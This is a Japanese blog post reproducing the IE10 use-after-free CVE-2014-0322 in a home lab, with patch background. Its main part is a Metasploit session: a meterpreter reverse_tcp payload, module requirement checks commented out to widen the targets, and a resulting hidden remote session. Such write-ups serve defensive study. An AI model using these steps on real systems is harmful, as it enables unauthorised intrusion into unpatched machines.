前回の例は少々古かったので、新しめのセキュリティ ホールを使ったスクリプトを紹介。これは Metasploit Unleashed からの引用ではなく、metasploit のスクリプトを眺めていたら見つけました。コードは↓です。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

CVE での識別子は CVE-2014-0322。

CVE - CVE-2014-0322
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0322

これは Internet Explorer の脆弱性で、修正は MS14-012 というセキュリティ情報にて報告されています。以下のようなマイクロソフトのセキュリティ情報は見たことがある人も多いのではないでしょうか。

Microsoft Security Bulletin MS14-012 - Critical
https://technet.microsoft.com/library/security/ms14-012

マイクロソフト セキュリティ情報 MS14-012 - 緊急
https://technet.microsoft.com/ja-jp/library/security/ms14-012.aspx

この MS14-012 は、2014 年 3 月の Windows Update の日 (巷で Patch Tuesday と言われる第二火曜日。2014 年 3 月であれば 3 月 11 日。) に KB2925418 としてリリースされています。

MS14-012: Cumulative security update for Internet Explorer: March 11, 2014
http://support.microsoft.com/kb/2925418/en

Windows Update を使えば勝手に更新が検出されますが、個別にダウンロードする場合は、OS と IE バージョン毎にパッケージが用意されていますので、自分の環境に合ったパッケージを入手してインストールして下さい。例えば IE10/Win8/x64 用のパッケージは以下のリンクからダウンロードできます。

Internet Explorer 10 in Windows 8 x64 Edition (KB2925418)
http://www.microsoft.com/en-us/download/details.aspx?id=42210

MS14-012 のページに戻り、CVE 番号 CVE-2014-0322 で検索すると、”When this security bulletin was issued, had Microsoft received any reports that these vulnerabilities are being exploited?” というセクションにおける CVE-2014-0322 のところの答えが “Yes. Microsoft is aware of limited, targeted attacks that attempt to exploit this vulnerability in Internet Explorer 10.” となっています。つまり、パッチがリリースされる前に攻撃が確認されていたということです。いわゆるゼロデイ攻撃です。

MITRE のページにおける References のリンクにある FireEye というアメリカのセキュリティ会社のブログに注目です。どうやら彼らがこの脆弱性に対するゼロデイ攻撃を 2/11 に検出したそうです。そこから Microsoft と FireEye のチームが共同で調査して、3 月 11 日に修正がリリース、というのが発見からクローズまでの流れでしょうか。技術的な部分は細かいところまで FireEye のブログに書かれています。彼らはこの攻撃を Operation Snowman と名付けたそうです。雪だるま作戦?

http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/new-ie-zero-day-found-in-watering-hole-attack-2.html
http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html

サンプル付きの解説だと、ここが詳しそうです。まだちゃんと読んでいない・・。

HDW Sec - Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

長くなった前置きはここまでにして、実際に metasploit を動かしてみましょう。その前に。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。

手元の環境では IE10/Windows 8 x64 のプラットフォームで攻撃が有効でした。その他、IE8/Win7、IE9/Win7、IE11/Win8.1 を試しましたが攻撃失敗・・・。IE10 以外には効果がないのかもしれませんが詳細は不明。IE10/Win7 の環境はまだ試していないのでそのうち。というかプラットフォームの組み合わせが多すぎる。IE は 6 から 11 まで、OS は XP から 8.1 までとか超多い。IE9 までは WOW64 (32bit on 64bit) の iexplore.exe と Win64 の iexplore.exe の両方あるし、Win8 以降だと Desktop と Moden App・・・。どうなってるんだ Windows。

気を取り直して metasploit 側での作業。モジュールを読み込んで、Web サーバーを開始するだけです。ペイロードはおなじみ、meterpreter/reverse_tcp で。なんと簡単なのでしょう。

msf > use exploit/windows/browser/ms14_012_cmarkup_uaf 
msf exploit(ms14_012_cmarkup_uaf) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf):

   Name        Current Setting  Required  Description 
   ----        ---------------  --------  ----------- 
   Retries     false            no        Allow the browser to retry the module 
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0 
   SRVPORT     8080             yes       The local port to listen on. 
   SSL         false            no        Negotiate SSL for incoming connections 
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated) 
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) 
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name 
   --  ---- 
   0   Windows 7 SP1 / IE 10 / FP 12


msf exploit(ms14_012_cmarkup_uaf) > set SRVHOST 10.10.10.80 
SRVHOST => 10.10.10.80 
msf exploit(ms14_012_cmarkup_uaf) > set URIPATH snowman 
URIPATH => snowman 
msf exploit(ms14_012_cmarkup_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(ms14_012_cmarkup_uaf) > set LHOST 10.10.10.80 
LHOST => 10.10.10.80 
msf exploit(ms14_012_cmarkup_uaf) > set LPORT 4455 
LPORT => 4455 
msf exploit(ms14_012_cmarkup_uaf) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf):

   Name        Current Setting  Required  Description 
   ----        ---------------  --------  ----------- 
   Retries     false            no        Allow the browser to retry the module 
   SRVHOST     10.10.10.80      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0 
   SRVPORT     8080             yes       The local port to listen on. 
   SSL         false            no        Negotiate SSL for incoming connections 
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated) 
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) 
   URIPATH     snowman          no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none) 
   LHOST     10.10.10.80      yes       The listen address 
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name 
   --  ---- 
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf) > run 
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455 
msf exploit(ms14_012_cmarkup_uaf) > [*] Using URL: http://10.10.10.80:8080/snowman 
[*] Server started.

今回犠牲になっていただく IE10 on Windows 8 x64 の環境。IE の更新バージョンが KB2718695 となっていることから分かるように、IE の更新プログラムは適用していません。

http://10.10.10.80:8080/snowman を開きます。すると、”Exploit requirement(s) not met” とかいうメッセージが出ます。要件を満たしていないようです。なんて attacker-friendly な攻撃用スクリプト・・。

msf exploit(ms14_012_cmarkup_uaf) > run 
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455 
msf exploit(ms14_012_cmarkup_uaf) > [*] Using URL: http://10.10.10.80:8080/snowman 
[*] Server started. 
[*] 10.10.10.96      ms14_012_cmarkup_uaf - Request: /snowman 
[*] 10.10.10.96      ms14_012_cmarkup_uaf - Gathering target information. 
[*] 10.10.10.96      ms14_012_cmarkup_uaf - Sending response HTML. 
[*] 10.10.10.96      ms14_012_cmarkup_uaf - Request: /snowman/LHfaA/ 
[*] 10.10.10.96      ms14_012_cmarkup_uaf - Request: /snowman/PVOsGk/ 
[!] 10.10.10.96      ms14_012_cmarkup_uaf - Exploit requirement(s) not met: os_flavor, flash. For more info: http://r-7.co/PVbcgx

このモジュールのコードは /usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb にあるので、それを確認すると、以下のような前提条件の定義らしき部分が見つかります。赤字の部分が怒られた条件です。確かに、OS は Windows 8 だし。

'BrowserRequirements' => 
  { 
    :source      => /script|headers/i, 
    :os_name     => Msf::OperatingSystems::WINDOWS, 
    :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN, 
    :ua_name     => Msf::HttpClients::IE, 
    :ua_ver      => '10.0', 
    :mshtml_build => lambda { |ver| ver.to_i < 16843 }, 
    :flash       => /^1[23]\./ 
  }, 

Flash のバージョンを確認 (ツール > アドオンの管理) すると、11 でした。

オリジナルのモジュールを変更したくはないので、適当に名前を変えて /root/.msf4/modules/exploits/windows/browser/ にコピーします。ms14_012_cmarkup_uaf_noreq.rb という名前にしました。んで編集。といっても怒られたところをコメントアウトしただけです。Ruby も覚えないトナー。

      'BrowserRequirements' => 
        { 
          :source      => /script|headers/i, 
          :os_name     => Msf::OperatingSystems::WINDOWS, 
#          :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN, 
          :ua_name     => Msf::HttpClients::IE, 
          :ua_ver      => '10.0', 
          :mshtml_build => lambda { |ver| ver.to_i < 16843 }, 
#          :flash       => /^1[23]\./ 
        },

モジュール ファイルは、msfconsole を起動したときに読み込まれるので、msfconsole を再起動します。モジュール名で ms14_012_cmarkup_uaf_noreq を指定している以外は、先ほどと同じです。

msf exploit(ms14_012_cmarkup_uaf) > exit

[*] Server stopped. 
alice@kali:~$ sudo msfconsole 
[sudo] password for alice: 
_                                                    _ 
/ \    /\         __                         _   __  /_/ __ 
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \ 
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -| 
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_ 
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Taking notes in notepad? Have Metasploit Pro track & report 
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.3-2014072301 [core:4.9 api:1.0] ] 
+ -- --=[ 1334 exploits - 804 auxiliary - 227 post        ] 
+ -- --=[ 346 payloads - 35 encoders - 8 nops             ] 
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/browser/ms14_012_cmarkup_uaf_noreq 
msf exploit(ms14_012_cmarkup_uaf_noreq) > set SRVHOST 10.10.10.80 
SRVHOST => 10.10.10.80 
msf exploit(ms14_012_cmarkup_uaf_noreq) > set URIPATH snowman 
URIPATH => snowman 
msf exploit(ms14_012_cmarkup_uaf_noreq) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(ms14_012_cmarkup_uaf_noreq) > set LHOST 10.10.10.80 
LHOST => 10.10.10.80 
msf exploit(ms14_012_cmarkup_uaf_noreq) > set LPORT 4455 
LPORT => 4455 
msf exploit(ms14_012_cmarkup_uaf_noreq) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf_noreq):

   Name        Current Setting  Required  Description 
   ----        ---------------  --------  ----------- 
   Retries     false            no        Allow the browser to retry the module 
   SRVHOST     10.10.10.80      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0 
   SRVPORT     8080             yes       The local port to listen on. 
   SSL         false            no        Negotiate SSL for incoming connections 
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated) 
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) 
   URIPATH     snowman          no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none) 
   LHOST     10.10.10.80      yes       The listen address 
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name 
   --  ---- 
   0   Windows 7 SP1 / IE 10 / FP 12


msf exploit(ms14_012_cmarkup_uaf_noreq) > run 
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455 
msf exploit(ms14_012_cmarkup_uaf_noreq) > [*] Using URL: http://10.10.10.80:8080/snowman 
[*] Server started.

IE10 から http://10.10.10.80:8080/snowman を開くと・・・今度は侵入成功です。実は百発百中というわけではなく、まれに侵入に失敗して、IE が単純にクラッシュするだけになることも。

msf exploit(ms14_012_cmarkup_uaf_noreq) > run 
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455 
msf exploit(ms14_012_cmarkup_uaf_noreq) > [*] Using URL: http://10.10.10.80:8080/snowman 
[*] Server started. 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Request: /snowman 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Gathering target information. 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Sending response HTML. 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Request: /snowman/cSKqY/ 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Request: /snowman/fHEwZx/ 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Sending HTML... 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Request: /snowman/fHEwZx/zxqcZz.swf 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Sending SWF... 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Request: /snowman/fHEwZx/zxqcZz.swf 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Sending SWF... 
[*] Sending stage (769536 bytes) to 10.10.10.96 
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.96:49237) at 2014-08-11 23:37:31 -0700 
[*] Session ID 1 (10.10.10.80:4455 -> 10.10.10.96:49237) processing InitialAutoRunScript 'migrate -f' 
[*] Current server process: IEXPLORE.EXE (776) 
[*] Spawning notepad.exe process to migrate to 
[+] Migrating to 3004 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Request: /snowman/fHEwZx/ 
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq - Target with tag "ZCVaVZ" wants to retry the module, not allowed. 
[+] Successfully migrated to process

msf exploit(ms14_012_cmarkup_uaf_noreq) > sessions

Active sessions 
===============

  Id  Type                   Information                        Connection 
  --  ----                   -----------                        ---------- 
  1   meterpreter x86/win32  CONTOSO\administrator @ WIN8AMD64  10.10.10.80:4455 -> 10.10.10.96:49237 (10.10.10.96)

msf exploit(ms14_012_cmarkup_uaf_noreq) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > sysinfo 
Computer        : WIN8AMD64 
OS              : Windows 8 (Build 9200). 
Architecture    : x64 (Current Process is WOW64) 
System Language : ja_JP 
Meterpreter     : x86/win32 
meterpreter >

侵入が成功すると自動的に、iexplore.exe から notepad.exe に隠れ蓑を移します。Windows 側からみると、IE のタブが一つクラッシュして自動的に回復されたかのように見えるだけです。プロセスを注意深く見ると、前回の例のようにウィンドウのない notepad.exe が見つかるのですが、まあ普通は気づかないでしょう。今回は Windows Defender のリアルタイム保護も有効になっていますが、ブラウザー上での出来事なので何も検出できず。

侵入されている状態の Windows 8

今回は Windows 8 をデフォルト設定のまま使っているので、DEP はもちろん有効になっています。また、Vista 以降に導入された ASLR (= Address space layout randomization, DLL などのロード先やヒープ位置のランダム化) も有効になっており、これらを回避した上での攻撃です。このセキュリティ ホールは、Use-After-Free vulnerability という、既に解放されたヒープ場のバッファー アドレス位置を保持しているポインター変数を利用する比較的ホットなセキュリティ ホールの種類です。

2 回連続で metasploit を使った攻撃の再現を行いました。次回は攻撃されているプロセスをデバッガーから見てみようかと。もし、もっと面白い攻撃事例が見つかればそれを紹介しますが。その方が楽だし。